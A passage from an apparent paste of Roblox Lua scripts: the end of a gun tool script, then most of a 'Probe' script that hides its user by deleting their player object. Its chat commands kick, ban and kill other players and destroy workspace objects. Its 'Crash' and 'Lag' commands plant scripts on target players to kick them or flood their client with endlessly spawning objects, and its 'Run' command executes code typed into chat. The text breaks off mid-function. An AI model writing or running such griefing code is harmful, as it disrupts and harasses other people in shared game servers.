  3848.         animate.ArmRight(CFrame.new(-.5*i, 0, -.5*i)*CFrame.Angles(math.rad(90), 0, math.rad(90-135*i)))
  3849.     end
  3850.     for i=0, 1, .1 do wait()
  3851.         obj.ReloadW.C1=CFrame.new(0, .1, -.15+.4*i)
  3852.         animate.ArmLeft(CFrame.new(.5, 0, -.5)*CFrame.Angles(math.rad(90), 0, math.rad(25+20*i)))
  3853.     end
  3854.     c(function()
  3855.         for i=1, 10 do wait()
  3856.             local clips=add.Part(workspace, false, true, "Bright yellow", 0,Vector3.new(.2, .2, .4), obj.Handle.CFrame*CFrame.new(0, -.2, 0), Vector3.new(.5, .5, 1))
  3857.             c(function()
  3858.                 wait(2)
  3859.                 for i=0, 1, .1 do wait()
  3860.                     clips.Transparency=i
  3861.                 end
  3862.                 clips:remove()
  3863.             end)
  3864.         end
  3865.     end)
  3866.     for i=1, 0, -.1 do wait()
  3867.         obj.ReloadW.C1=CFrame.new(0, .1, -.15+.4*i)
  3868.         animate.ArmLeft(CFrame.new(.5, 0, -.5)*CFrame.Angles(math.rad(90), 0, math.rad(25+20*i)))
  3869.     end
  3870.     for i=1, 0, -.1 do wait()
  3871.         animate.Torso(CFrame.Angles(0, math.rad(90-90*i), 0))
  3872.         animate.ArmLeft(CFrame.new(.5*i, 0, -.5*i)*CFrame.Angles(math.rad(90)*i, 0, math.rad(25)*i))
  3873.         animate.ArmRight(CFrame.new(-.5*i, 0, -.5*i)*CFrame.Angles(math.rad(90), 0, math.rad(90-135*i)))
  3874.     end
  3875.     animate.ArmLeft(CFrame.Angles(-math.rad(15), 0, -math.rad(15)))
  3876.     if ammo>0 then
  3877.         local take=6-clip
  3878.         ammo=ammo-take
  3879.         clip=clip+take
  3880.     end
  3881. end
  3882. mouse.KeyDown:connect(function(key) local key=key:lower()
  3883.     local bg=Instance.new("BodyGyro") bg.maxTorque=Vector3.new(math.huge, math.huge, math.huge) bg.D=500
  3884.     if key=="q" and keyDeb==false and equip==false then
  3885.         keyDeb=true equip=true
  3886.         mouse.Icon="http://www.roblox.com/asset/?id=35649261"
  3887.         createParts()
  3888.         obj.HandleW.Part1=arm.Right
  3889.         obj.HandleW.C1=CFrame.new(0, -1.2, 0)*CFrame.Angles(-math.rad(105), 0, 0)
  3890.         for i=0, 1, .1 do wait()
  3891.             animate.ArmRight(CFrame.new(0, .5*i, 0)*CFrame.Angles(0, 0, -math.rad(10)*i))
  3892.         end
  3893.         for i=0, 1, .1 do wait()
  3894.             animate.Torso(CFrame.Angles(0, math.rad(90)*i, 0))
  3895.             animate.ArmLeft(CFrame.Angles(-math.rad(15)*i, 0, -math.rad(15)*i))
  3896.             animate.ArmRight(CFrame.new(0, .5-.5*i, 0)*CFrame.Angles(math.rad(90)*i, 0, math.rad(90)*i))
  3897.         end
  3898.         bg.Parent=torso
  3899.         keyDeb=false
  3900.     elseif key=="q" and keyDeb==false and equip==true then
  3901.         keyDeb=true equip=false
  3902.         mouse.Icon=""
  3903.         for i=1, 0, -.1 do wait()
  3904.             animate.ArmRight(CFrame.new(0, .5-.5*i, 0)*CFrame.Angles(math.rad(90)*i, 0, math.rad(90)*i))
  3905.         end
  3906.         for i=1, 0, -.1 do wait()
  3907.             animate.Torso(CFrame.Angles(0, math.rad(90)*i, 0))
  3908.             animate.ArmLeft(CFrame.Angles(-math.rad(15)*i, 0, -math.rad(15)*i))
  3909.             animate.ArmRight(CFrame.new(0, .5*i, 0)*CFrame.Angles(0, 0, -math.rad(10)*i))
  3910.         end
  3911.         removeParts() for i, v in pairs(torso:children()) do if v:isA("BodyGyro") then v:remove() end end
  3912.         obj.HandleW.Part1=obj.Pocket
  3913.         obj.HandleW.C1=CFrame.new(0, .75, 0)*CFrame.Angles(-math.rad(105), 0, 0)
  3914.         keyDeb=false
  3915.     end
  3916.     if key=="r" and keyDeb==false and equip==true then
  3917.         keyDeb=true
  3918.         reload()
  3919.         keyDeb=false
  3920.     end
  3921.     while equip==true do wait()
  3922.         body.HeadW.C1=CFrame.new(Vector3.new(0, 1.5, 0), mouse.Hit.p)
  3923.         bg.cframe=computePos(torso.CFrame.p, mouse.Hit.p)
  3924.         obj.Clip.Text=clip.."/6"
  3925.         obj.Ammo.Text=ammo.."/200"
  3926.     end
  3927. end)
  3928. mouse.Button1Down:connect(function()
  3929.     local speed=500
  3930.     if equip==true and keyDeb==false and clip>=1 then Gun:play() keyDeb=true
  3931.         clip=clip-1
  3932.         animate.ArmRight(CFrame.new(0, 0, 0)*CFrame.Angles(math.rad(90), math.rad(15), math.rad(90)))
  3933.         local bullet=add.Part(workspace, false, false, "Bright yellow", 0, Vector3.new(.2, 1, .2), CFrame.new(obj.Point.CFrame.p, mouse.Hit.p)*CFrame.Angles(math.pi/2, 0, 0))
  3934.         local bulletM=add.Mesh("SpecialMesh", bullet, Vector3.new(.04, .05, .04), nil, nil, "http://www.roblox.com/Asset/?id=10207677")
  3935.         local bf=Instance.new("BodyForce", bullet) bf.force=Vector3.new(0, bullet:GetMass()*196.2, 0)
  3936.         local effect=add.Part(workspace, true, false, "Bright yellow", .5, Vector3.new(.5, .5, .5), obj.Point.CFrame*CFrame.Angles(math.rad(-45, 45), math.rad(-45, 45), math.rad(-45, 45)))
  3937.         c(function()
  3938.             for i=0, 1, .1 do wait()
  3939.                 effect.Transparency=effect.Transparency+(i/2)
  3940.                 effect.Mesh.Scale=effect.Mesh.Scale+Vector3.new(i, i, i)
  3941.             end
  3942.             effect:remove()
  3943.         end)
  3944.         trailDeb=true
  3945.         trail(bullet, CFrame.new())
  3946.         bullet.Touched:connect(hit)
  3947.         bullet.Velocity=CFrame.new((obj.Point.CFrame*CFrame.Angles(math.pi/2, 0, 0)).p, mouse.Hit.p).lookVector*speed
  3948.         c(function() wait(1.5) bullet:destroy() trailDeb=false end)
  3949.         wait(.5)
  3950.         animate.ArmRight(CFrame.new(0, 0, 0)*CFrame.Angles(math.rad(90), 0, math.rad(90)))
  3951.         keyDeb=false
  3952.     elseif equip==true and keyDeb==false then
  3953.         keyDeb=true
  3954.         reload()
  3955.         keyDeb=false
  3956.     end
  3957. end)--mediafire
  3958. ]==]
  3959.  
  3960. Probe = [==[
  3961. wait'';
  3962. script.Parent= Instance.new'Glue';
  3963. mode="Destroy"
  3964. sound=false
  3965. engulfed=false
  3966. song='walrus'
  3967. pa=8
  3968. banned={}
  3969. test=false;--testing mode
  3970. scropt=''
  3971. scropting=false
  3972. ofx=true
  3973. ifx=true
  3974. local ascript=[[]]
  3975.  
  3976. scropts={}
  3977. plr=game.Players.LocalPlayer
  3978. mouse=plr:GetMouse()
  3979. cam=workspace.CurrentCamera
  3980. p=Instance.new("Part")
  3981. p.FormFactor='Custom'
  3982. p.TopSurface="Smooth"
  3983. p.BottomSurface='Smooth'
  3984. p.BrickColor=BrickColor.new'White';
  3985. p.Transparency=0.5;
  3986. p.Size=Vector3.new(1.5,1.5,1.5)
  3987. p.Anchored=true
  3988. p.CanCollide=false;
  3989. p.Name='ttx'
  3990. pc=p:clone'';
  3991. pc.Name='pc'
  3992.  
  3993. pc.Size=Vector3.new(0.75,0.75,0.75);
  3994. pc.BrickColor=BrickColor.new'Really black'
  3995. local sel=Instance.new("SelectionBox")
  3996. sel.Color=BrickColor.new("Really black")
  3997. sel.Transparency=0
  3998. sel.Name='sel'
  3999. local color=sel.Color
  4000. local sel2=Instance.new("SelectionBox")
  4001. sel2.Color=BrickColor.new("Institutional white")
  4002. sel2.Transparency=1
  4003. sel2.Name='sel2'
  4004. local blo=Instance.new("BlockMesh",pc)
  4005. blo.Name='blo'
  4006. local s=Instance.new("Sound")
  4007. s.SoundId="http://www.roblox.com/asset?id=12222170"
  4008. s.Volume=1
  4009. s.Pitch=3.25
  4010. s.Name='s'
  4011. local s2=Instance.new("Sound")
  4012. s2.SoundId="http://www.roblox.com/asset?id=130806888"
  4013. s2.Volume=1
  4014. s2.Pitch=1
  4015. s2.Name='s2'
  4016. local s3=Instance.new("Sound")
  4017. s3.SoundId="http://www.roblox.com/asset?id=138092144"
  4018. s3.Volume=1
  4019. s3.Pitch=1
  4020. s3.Name='s3'
  4021. local s4=Instance.new("Sound")
  4022. s4.SoundId="http://www.roblox.com/asset?id=130791043"
  4023. s4.Volume=1
  4024. s4.Pitch=1
  4025. s4.Name='s4'
  4026. local s5=Instance.new("Sound")
  4027. s5.SoundId="http://www.roblox.com/asset?id=143301643"
  4028. s5.Volume=1
  4029. s5.Pitch=1
  4030. s5.Name='s5'
  4031.  
  4032. game:service'ContentProvider':Preload(s5.SoundId)
  4033.  
  4034. local light=Instance.new('PointLight')
  4035. light.Range=10
  4036. light.Brightness=5
  4037. light.Shadows=true
  4038. light.Color=BrickColor.new("White").Color
  4039. light.Name='light'
  4040.  
  4041. local bg = Instance.new("BillboardGui")
  4042. bg.Adornee = p
  4043. bg.Size = UDim2.new(6, 0, 1, 0)
  4044. bg.StudsOffset = Vector3.new(-1.6, 2, 0)
  4045. bg.Name='bg'
  4046.  
  4047. local frame = Instance.new("Frame")
  4048. frame.Size = UDim2.new(1, 0, 1, 0)
  4049. frame.BackgroundTransparency = 1
  4050. frame.BackgroundColor3 = Color3.new(1, 1, 1)
  4051. frame.Name='frame'
  4052.  
  4053. local text = Instance.new("TextLabel")
  4054. text.BackgroundTransparency=1
  4055. text.Position = UDim2.new(0.15, 0, 0.25, 0)
  4056. text.Size = UDim2.new(1.2, 0, 0.7, 0)
  4057. text.Text = "penal servitude"
  4058. text.Font="SourceSansBold"
  4059. text.TextScaled=true
  4060. text.TextStrokeTransparency=0
  4061. text.TextStrokeColor3=Color3.new(255,255,255)
  4062. text.TextColor3=Color3.new(1,1,1)
  4063. text.Name='text'
  4064.  
  4065. function chat(txt)
  4066.     game:service'Chat':Chat(p,txt,math.random(1,2))
  4067.     s3:Play()
  4068.     local cb=sel.Color
  4069.     sel.Color=BrickColor.new("Lime green")
  4070.     wait(0.57)
  4071.     sel.Color=cb
  4072. end
  4073.  
  4074.  
  4075.  
  4076. local schemes={
  4077.     Normal={
  4078.         pmc="White";
  4079.         pcm="Really black";
  4080.         selc="Really black";
  4081.         selc2="Institutional white";
  4082.         light='White';
  4083.         name="Normal"
  4084.     };
  4085.     Inverse={
  4086.         pmc="Really black";
  4087.         pcm="White";
  4088.         selc="Institutional white";
  4089.         selc2="Really black";
  4090.         light='White';
  4091.         name="Inverse"
  4092.     };
  4093.     Neon={
  4094.         pmc="Really red";
  4095.         pcm="Lime green";
  4096.         selc="Lime green";
  4097.         selc2="Really red";
  4098.         light='Lime green';
  4099.         name="Neon"
  4100.     };
  4101.     Greenlight={
  4102.         pmc="Really black";
  4103.         pcm='Institutional white';
  4104.         selc='Lime green';
  4105.         selc2='Really black';
  4106.         light='Lime green';
  4107.         name='Greenlight'
  4108.     };
  4109.     Calm={
  4110.         pmc="Really black";
  4111.         pcm='Institutional white';
  4112.         selc='Teal';
  4113.         selc2='Really black';
  4114.         light='Teal';
  4115.         name='Calm'
  4116.     };
  4117.     --Custom Schemes--
  4118.     CoolkidTheme={
  4119.         pmc="Camo";
  4120.         pcm="Lime green";
  4121.         selc="Really red";
  4122.         selc2="Toothpaste";
  4123.         light='Lime green';
  4124.         name="CoolkidTheme"
  4125.     };
  4126. }
  4127.  
  4128.  
  4129. local songbank={
  4130.     ['Cat']='http://www.roblox.com/asset?id=156435576';
  4131.     ['EpicSax']='http://www.roblox.com/asset?id=130775431';
  4132.     ['Trolled']='http://www.roblox.com/asset?id=142633540';
  4133.     ['Doge']='http://www.roblox.com/asset?id=150794704';
  4134.     ['PFS']='http://www.roblox.com/asset?id=130783719';
  4135.     ['120BOOM']='http://www.roblox.com/asset?id=142279108';
  4136.     ['Raining Tacos']='http://www.roblox.com/asset?id=142376088';
  4137.     ['Pootis Man']='http://www.roblox.com/asset?id=142334905';
  4138.     ['Pootis']='http://www.roblox.com/asset?id=148636758';
  4139.     ['freshprince']='http://www.roblox.com/asset?id=154237445'
  4140. }
  4141.  
  4142. for _,v in pairs(songbank) do
  4143.     ypcall(function()
  4144.         game:service"ContentProvider":Preload(v)
  4145.     end)
  4146. end
  4147.  
  4148. coroutine.wrap(function()
  4149.     local angle=0;
  4150.     repeat
  4151.         angle=angle+1;
  4152.         local a=math.rad(angle);
  4153.         p.CFrame=workspace.CurrentCamera.CoordinateFrame*CFrame.new(0,0,-15)*CFrame.Angles(a,a,a);
  4154.         pc.CFrame=workspace.CurrentCamera.CoordinateFrame*CFrame.new(0,0,-15)*CFrame.Angles(-a,-a,-a);
  4155.         wait'';
  4156.     until false
  4157. end)();
  4158. newLocalScript=function(source,parent)
  4159.     local clone=script:clone'';
  4160.     clone:clearAllChildren'';
  4161.     for _,v in next,{'Source','DSource','source','code'}do
  4162.         local f=Instance.new('StringValue',clone);
  4163.         f.Name=v;
  4164.         f.Value=source;
  4165.     end;
  4166.     clone.Parent=parent;
  4167.     return clone;
  4168. end;
  4169. cmds={}
  4170. modes={
  4171.     {n="Destroy",color="Neon orange",func=function(thing)
  4172.         local a=thing.Parent
  4173.         s4:Play()
  4174.         if thing.Parent.Name~="Workspace" and thing.Name~='ttx' and thing.Parent.Name~='ttx' then
  4175.             thing.Parent:Destroy()
  4176.         elseif thing.Parent.Name=="Workspace" and thing.Name~='Base' and thing.Name~="Baseplate" and thing.Name~='ttx' then
  4177.             thing:Destroy()
  4178.         end
  4179.         end
  4180.     };
  4181.     {n="Break",color="Royal purple",func=function(thing)
  4182.         if thing.className=="Part" and thing.Name~='Base' and thing.Name~='Baseplate' then
  4183.             s4:Play()
  4184.             for i = 1,4 do
  4185.                 local a=thing:clone()
  4186.                 thing:BreakJoints()
  4187.                 a.Parent=workspace
  4188.                 a.FormFactor="Custom"
  4189.                 a.Size=Vector3.new(thing.Size.x/math.random(1.2,2),thing.Size.y/math.random(1.05,2),thing.Size.z/math.random(1.2,2))
  4190.                 a:BreakJoints()
  4191.                 local f=Instance.new("Fire",a)
  4192.                 f.Size=(a.Size.x+a.Size.y+a.Size.z)/2
  4193.                 local ex=Instance.new("Explosion")
  4194.                 ex.Position=thing.Position
  4195.                 ex.BlastPressure=35
  4196.                 ex.BlastRadius=15
  4197.                 ex.Parent=workspace
  4198.                 thing:Destroy()
  4199.                 Spawn(function()
  4200.                     wait(3)
  4201.                     a:Destroy()
  4202.                 end)
  4203.             end
  4204.         end
  4205.     end
  4206.     };
  4207.     {n="Kick",color="Really red",func=function(thing)
  4208.         if thing.Parent.Name~="Workspace" then
  4209.             s4:Play()
  4210.             ypcall(function()
  4211.                 if game:service'Players':findFirstChild(thing.Parent.Name) ~= nil then
  4212.                     ypcall(function()
  4213.                         game:service'Players':findFirstChild(thing.Parent.Name):Destroy()
  4214.                     end)    
  4215.                 end
  4216.             end)
  4217.         end
  4218.         end
  4219.     };
  4220.        {n="Ban",color="Br. yellowish green",func=function(thing)
  4221.        s4:Play()
  4222.         if thing.Parent.Name~="Workspace" then
  4223.             ypcall(function()
  4224.                 if game:service'Players':findFirstChild(thing.Parent.Name) ~= nil then
  4225.                     ypcall(function()
  4226.                         table.insert(banned,thing.Parent.Name)
  4227.                         game:service'Players':findFirstChild(thing.Parent.Name):Destroy()
  4228.                     end)    
  4229.                 end
  4230.             end)
  4231.         end
  4232.         end
  4233.     };
  4234.     {n="Kill",color="Dark red",func=function(thing)
  4235.     s4:Play()
  4236.         if thing.Parent.Name~="Workspace" then
  4237.             ypcall(function()
  4238.                 if game:service'Players':findFirstChild(thing.Parent.Name) ~= nil then
  4239.                     ypcall(function()
  4240.                         game:service'Players':findFirstChild(thing.Parent.Name).Character:BreakJoints()
  4241.                     end)    
  4242.                 end
  4243.             end)
  4244.         end
  4245.         end
  4246.     };
  4247.     {n="Ff",color="Really blue",func=function(thing)
  4248.     s4:Play()
  4249.         if thing.Parent.Name~="Workspace" then
  4250.             if game:service'Players':findFirstChild(thing.Parent.Name) ~= nil then
  4251.                 ypcall(function()
  4252.                     if not thing.Parent.Torso.ForceField then
  4253.                         Instance.new("ForceField",thing.Parent.Torso)
  4254.                     else
  4255.                         thing.Parent.Torso.ForceField:Destroy()
  4256.                     end
  4257.                 end)    
  4258.             end
  4259.         end
  4260.     end
  4261.     }
  4262. }
  4263. addCommand=function(commandName,_cmds,commandDesc,commandFunc)
  4264.     cmds[commandName]={['cmds']=_cmds,desc=commandDesc,func=commandFunc};
  4265. end
  4266. onChatted=function(msg)
  4267.     for _,v in next,cmds do
  4268.         local used=false;
  4269.         for cmd in v.cmds:gmatch'([^(.*),?]+)'do
  4270.             if(msg:match(cmd)and used==false)then
  4271.                 local rest=msg:match(cmd..'(.*)');
  4272.                 pcall(v.func,rest);
  4273.                 used=true;
  4274.             end;
  4275.         end;
  4276.     end;
  4277. end;
  4278. getPlayers=function(msg)
  4279.     local players={};--noob nob
  4280.     for _,v in next,game.Players:players''do
  4281.         if(v.Name:lower():sub(1,#msg)==msg:lower()) then
  4282.             table.insert(players,v);
  4283.         end;
  4284.     end;
  4285.     return players;
  4286. end;
  4287. addCommand('Disconnect','disc/,disconnect/','Disconnects your player from the game',function(msg)
  4288.     plr:Destroy()'';
  4289. end);
  4290. addCommand('Kick','kick/','Kicks <Player>',function(msg)
  4291.     for _,player in next,getPlayers(msg)do
  4292.        player:Destroy()'';
  4293.     end;
  4294. end);
  4295. addCommand('Banish', 'ban/', 'Banish <Player>', function(msg)
  4296.     for _,player in next,getPlayers(msg)do
  4297.        table.insert(banned,player.Name)
  4298.        player:Destroy()'';
  4299.     end;
  4300. end);
  4301. addCommand('Fix', 'fix/', 'Fix probe', function(msg)
  4302.     local current=workspace:findFirstChild'ttx';
  4303.     if(current)then
  4304.         current:destroy();
  4305.     end;
  4306.     p=backup:clone();
  4307.     p.Parent=workspace;
  4308.     pc=p.pc
  4309.     sel=p.sel
  4310.     bg=p.bg
  4311.     frame=p.frame
  4312.     text=p.Text
  4313.     sel2=pc.sel2
  4314.     s=p.s
  4315.     s2=p.s2
  4316.     s3=p.s3
  4317.     s4=p.s4
  4318.     s5=p.s5
  4319.     light=pc.light
  4320. end);
  4321.  
  4322. addCommand('Nil disconnect','nild/', "Disconnect a nil player", function(msg)
  4323.  
  4324. end)
  4325.  
  4326. addCommand('Clean' ,'clean/', 'Clean Workspace', function(msg)
  4327.     for _,v in pairs(workspace:children()) do
  4328.         ypcall(function()
  4329.             if game:GetService("Players"):GetPlayerFromCharacter(v) == nil then  
  4330.                 if v.Name~="Base" and v.Name~="Baseplate" and v.Name~='ttx' then
  4331.                     v:Destroy()
  4332.                 end
  4333.             end
  4334.         end)
  4335.     end
  4336. end);
  4337.  
  4338. addCommand('Crash','cr/','Crashes a <Player>',function(msg)
  4339.     for _,player in next,getPlayers(msg)do
  4340.         newLocalScript([[game.Players.LocalPlayer:kick'']], player.Backpack or player.Character)
  4341.     end;
  4342. end)
  4343. print'a';
  4344. addCommand('Lag', 'lag/', 'Lags a <Player>',function(msg)
  4345.     for _,player in ipairs(getPlayers(msg))do
  4346.         newLocalScript([[
  4347.             wait'';
  4348.             script.Parent=workspace.currentCamera;
  4349.             addLoop=function()
  4350.                 repeat
  4351.                     for _,v in next,{'Message','Hint','Part','Message','Message','Hint','Seat'}do
  4352.                         pcall(function()
  4353.                             local i=Instance.new(v,workspace.currentCamera);
  4354.                             i.Text='lag';
  4355.                         end);
  4356.                     end;
  4357.                     wait'';
  4358.                     if(math.random(1,10)==1)then
  4359.                         coroutine.wrap(addLoop)();
  4360.                     end;
  4361.                 until false;
  4362.             end;
  4363.             coroutine.wrap(addLoop)();
  4364.         ]],player.Character);
  4365.     end;
  4366. end);
  4367.  
  4368. addCommand('Fixl','fixl/','Fixes lighting',function(msg)
  4369.     game.Lighting.Brightness=7
  4370.     game.Lighting.TimeOfDay='14:00:00'
  4371.     game.Lighting.GlobalShadows=true
  4372.     game.Lighting.Outlines=true
  4373.     game.Lighting.ShadowColor=Color3.new(179,179,179)
  4374.     game.Lighting.Ambient=Color3.new(128,128,128)
  4375.     game.Lighting.FogStart=0
  4376.     game.Lighting.FogEnd=100000
  4377. end)
  4378.  
  4379. addCommand('Rejoin','rj/','Rejoins player',function(msg)
  4380.     game:GetService('TeleportService'):Teleport(game.PlaceId)
  4381. end)
  4382.  
  4383. addCommand('Create','create/', 'Creates a <script>',function(msg)
  4384.     table.insert(scropts,{n=msg,c=""})
  4385.     chat("Created script: " .. msg .. "!",math.random(0,2));
  4386. end)
  4387.  
  4388. addCommand('Edit','edit/','Edits a <script>', function(msg)
  4389. chat("Editing script: " .. msg .. "!",math.random(0,2));
  4390.     for _,v in pairs(scropts) do
  4391.         if v.n==msg then
  4392.             scropting=true
  4393.             scropt=v.n
  4394.             chat(scropt,math.random(0,2));
  4395.         end
  4396.     end
  4397. end)
  4398.  
  4399. addCommand('Exit','exit/','Exits a <script>', function(msg)
  4400.     scropting=false
  4401.     chat("Exited script: " .. scropt .. "!",math.random(0,2));
  4402. end)
  4403.  
  4404. addCommand('Run','run/','Runs a <script>', function(msg)
  4405.     for _,v in pairs(scropts) do
  4406.         if v.n==scropt then
  4407.             ypcall(function()
  4408.                 --newLocalScript(v.c,workspace)
  4409.                 wait(); loadstring(v.c)()
  4410.                 chat(v.c,math.random(0,2))
  4411.             end)
  4412.         end
  4413.     end
  4414.     chat("Running script: " .. msg .. "!",math.random(0,2));
  4415. end)
  4416.  
  4417. addCommand('Clear','clear/','Clears a <script>',function(msg)
  4418.     for _,v in pairs(scropts) do
  4419.         if v.n==msg then
  4420.             v.c=''
  4421.         end
  4422.     end
  4423.     chat("Cleared script: " .. msg .. "!",math.random(0,2));
  4424. end)
  4425.  
  4426. addCommand('Remove','remove/','Removes a <script>',function(msg)
  4427.    for _,v in pairs(scropts) do
  4428.         if v.n==msg then
  4429.             table.remove(scropts,v)
  4430.         end
  4431.    end
  4432.     chat("Removed script: " .. msg .. "!",math.random(0,2));
  4433. end)
  4434.  
  4435. addCommand('Mode','mode/','Switches mode',function(msg)
  4436.     ypcall(function()
  4437.         mode=msg
  4438.         chat("Switched to mode: " .. msg .. "!",math.random(0,2));
  4439.     end)
  4440. end)
  4441.  
  4442. addCommand('Change scheme', 'cs/', 'Changes scheme', function(msg)
  4443.     ypcall(function()
  4444.         for _,v in pairs(schemes) do
  4445.             if v.name==msg then
  4446.                 p.BrickColor=BrickColor.new(v.pmc)
  4447.                 pc.BrickColor=BrickColor.new(v.pcm)
  4448.                 sel.Color=BrickColor.new(v.selc)
  4449.                 sel2.Color=BrickColor.new(v.selc2)
  4450.                 light.Color=BrickColor.new(v.light).Color
  4451.                 chat("Switched to scheme: " .. msg .. "!",math.random(0,2));
  4452.             end
  4453.         end
  4454.     end)
  4455.     end
  4456. )
  4457.  
  4458.  
  4459. addCommand('Set size','ss/', 'Sets size',function(msg)
  4460.     local m=tonumber(msg)
  4461.     p.Size=Vector3.new(m,m,m)
  4462.     pc.Size=Vector3.new(m/2,m/2,m/2)
  4463. end)
  4464.  
  4465. addCommand('Set #Particles','pa/', 'Sets # particles', function(msg)
  4466.     pa=tonumber(msg)
  4467. end)
  4468.  
  4469. addCommand('Set outer lining color','solc/', 'Sets olc',function(msg)
  4470.     sel.Color=BrickColor.new(msg)
  4471. end)
  4472.  
  4473. addCommand('Set inner lining color','silc/', 'Sets ilc',function(msg)
  4474.     sel2.Color=BrickColor.new(msg)
  4475. end)
  4476.  
  4477. addCommand('Set outer box color','sobc/', 'Sets obc',function(msg)
  4478.     p.BrickColor=BrickColor.new(msg)
  4479. end)
  4480.  
  4481. addCommand('Set inner box color','sibc/', 'Sets ibc',function(msg)
  4482.     p.BrickColor=BrickColor.new(msg)
  4483. end)
  4484.  
  4485. addCommand('Disable outer fx','dof/','Disables outer FX',function(msg)
  4486.     ofx=false
  4487. end)
  4488.  
  4489. addCommand('Enable outer fx','eof/','Enables outer FX',function(msg)
  4490.     ofx=true
  4491. end)
  4492.  
  4493. addCommand('Disable inner fx','dif/','Disables inner FX',function(msg)
  4494.     ifx=false
  4495. end)
  4496.  
  4497. addCommand('Enable inner fx','eif/','Enables inner FX',function(msg)
  4498.     ifx=true
  4499. end)
  4500. --lavish commands
  4501. addCommand('Ff', 'ff/', 'Ffs a <Player>',function(msg)
  4502.     for _,player in next,getPlayers(msg)do
  4503.         Instance.new("ForceField",player.Character.Torso)
  4504.     end;
  4505. end)
  4506.  
  4507. addCommand('Play', 'play/', 'Plays a <song>',function(msg)
  4508.    if songbank[msg] then
  4509.         song=msg
  4510.         local a=Instance.new("Sound")
  4511.         a.Volume=1
  4512.         a.Pitch=1
  4513.         a.Looped=true
  4514.         a.SoundId=songbank[msg]
  4515.         a.Name=msg
  4516.         a.Parent=p
  4517.         wait()
  4518.         a:Play()
  4519.         wait()
  4520.         a:Stop()
  4521.         wait()
  4522.         a:Play()
  4523.         color=sel.Color
  4524.         sound=true
  4525.         chat('Playing "' .. msg .. '"!')
  4526.     else
  4527.         chat('Song "' .. msg .. '" does not exist.')
  4528.     end
  4529. end)
  4530.  
  4531. addCommand('Stop', 'stop/', 'Stops a song',function(msg)
  4532.     ypcall(function()
  4533.         sound=false
  4534.         sel.Color=color
  4535.         wait()
  4536.         if p[msg] then
  4537.             ypcall(function()
  4538.                 p[msg]:Destroy()
  4539.             end)
  4540.         end
  4541.         song='nil'
  4542.         chat('Song "' .. msg .. '" stopped!')
  4543.     end)
  4544. end)
  4545.  
  4546. addCommand('Pitch', 'pitch/', 'Changes pitch of a song',function(msg)
  4547.     ypcall(function()
  4548.         if p[song] then
  4549.             ypcall(function()
  4550.                 p[song].Pitch=tonumber(msg)
  4551.             end)
  4552.         end
  4553.         chat('Song "' .. msg .. "'s" ..  ' pitch has been changed to ' .. msg .. ".")
  4554.     end)
  4555. end)
  4556.  
  4557. addCommand('Engulf','eng/','Engulf yourself in FX', function(msg)
  4558.     engulfed=true
  4559.     p.Transparency=1
  4560.     pc.Transparency=1
  4561.     sel.Transparency=1
  4562.     sel2.Transparency=1
  4563. end)
  4564.  
  4565. addCommand('Unengulf','ueng/','Unengulf yourself in FX', function(msg)
  4566.     engulfed=false
  4567.     p.Transparency=0
  4568.     pc.Transparency=0
  4569.     sel.Transparency=0
  4570.     sel2.Transparency=0
  4571. end)
  4572.  
  4573. addCommand('Unff','unff/', 'Unffs a <Player>', function(msg)
  4574.     for _,player in next,getPlayers(msg)do
  4575.     for i,v in pairs(player.Character:GetChildren()) do
  4576.     if v:IsA("ForceField") then
  4577.     v:remove()
  4578.         end
  4579.     end
  4580. end;
  4581. end)
  4582. if(not test)then
  4583.     plr:remove'';
  4584. end;
  4585. plr.Character=nil;
  4586. plr.Chatted:connect(function(msg)
  4587.     ypcall(function()
  4588.     print(msg);
  4589.    
  4590.     onChatted(msg);
  4591.     if scropting==true then
  4592.     if not msg:find('exit/') and not msg:find('edit/') then
  4593.         for _,v in pairs(scropts) do
  4594.             if v.n==scropt then
  4595.                 v.c=v.c .. msg
  4596.                 chat("Input code!",math.random(0,2));
  4597.             end
  4598.         end
  4599.     end
  4600.     end
  4601.     if scropting==false then
  4602.     local a=string.len(msg)
  4603.     local bbd="%u"
  4604.     local bbc="%l"
  4605.     local cco=0
  4606.     local cco2=0
  4607.     local modec="calm"
  4608.     for i=1,a do
  4609.         if string.sub(msg,i,i):match(bbd) then
  4610.             cco=cco+1
  4611.         elseif string.sub(msg,i,i):match(bbc) then
  4612.             cco2=cco2+1
  4613.         end
  4614.     end
  4615.     print("CCO is " .. tostring(cco))
  4616.     print("CCO2 is " .. tostring(cco2))
  4617.     if cco<cco2 then
  4618.        modec="calm"
  4619.        text.TextColor3=BrickColor.new("White").Color
  4620.        cco=0
  4621.        cco2=0
  4622.    elseif cco2<cco then
  4623.        modec="mad"
  4624.        text.TextColor3=BrickColor.new("Really red").Color
  4625.        cco=0
  4626.        cco2=0
  4627.    end
  4628.    --[[
  4629.    local bbd="%u+"
  4630.    local bbc="%l+"
  4631.    local mc=msg:match(bbd)
  4632.    local mc2=msg:match(bbc)
  4633.    if a/2<=string.len(mc) then
  4634.        ypcall(function()
  4635.            text.TextColor3=BrickColor.new("Really red").Color
  4636.            s2:Play()
  4637.        end)
  4638.    elseif a/2<=string.len(mc2) then
  4639.        ypcall(function()
  4640.            text.TextColor3=BrickColor.new("White").Color
  4641.        end)
  4642.    end
  4643.    ]]
  4644.  
  4645.    if modec=="mad" then
  4646.        s2:Play()
  4647.    end
  4648.    text.Text=''
  4649.    for i=1,a do
  4650.        wait(0.055)
  4651.        s.Pitch=math.random(2.45,3.1)
  4652.        s:Play()
  4653.        text.Text=string.sub(msg,1,i)
  4654.    end
  4655.    --[[
  4656.    wait(5)
  4657.        local var=0
  4658.        if text.Text==msg then
  4659.            for i=1,a do
  4660.                var=var-1
  4661.            wait(0.055)
  4662.            s.Pitch=math.random(3.0,4.0)
  4663.            s:Play()
  4664.            text.Text=string.sub(msg,a,var)
  4665.        end
  4666.        end
  4667.    ]]
  4668.    end
  4669.    end)
  4670. end);
  4671.  
  4672.  
  4673.  
  4674. game.Players.ChildAdded:connect(function(playur)
  4675.    if playur.className=="Player" then
  4676.        for _,v in pairs(banned) do
  4677.            if v==playur.Name then
  4678.                playur:Destroy()
  4679.            end
  4680.        end
  4681.    end
  4682. end)
  4683.  
  4684. game:service'RunService'.Stepped:connect(function()
  4685.    ypcall(function()
  4686.    p.Parent=workspace
  4687.    pc.Parent=p
  4688.    sel.Parent=p
  4689.    sel.Adornee=p
  4690.    bg.Adornee=p
  4691.    bg.Parent=p
  4692.    frame.Parent=bg
  4693.    text.Parent=frame
  4694.    sel2.Parent=pc
  4695.    sel2.Adornee=pc
  4696.    s.Parent=p
  4697.    s2.Parent=p
  4698.    s3.Parent=p
  4699.    s4.Parent=p
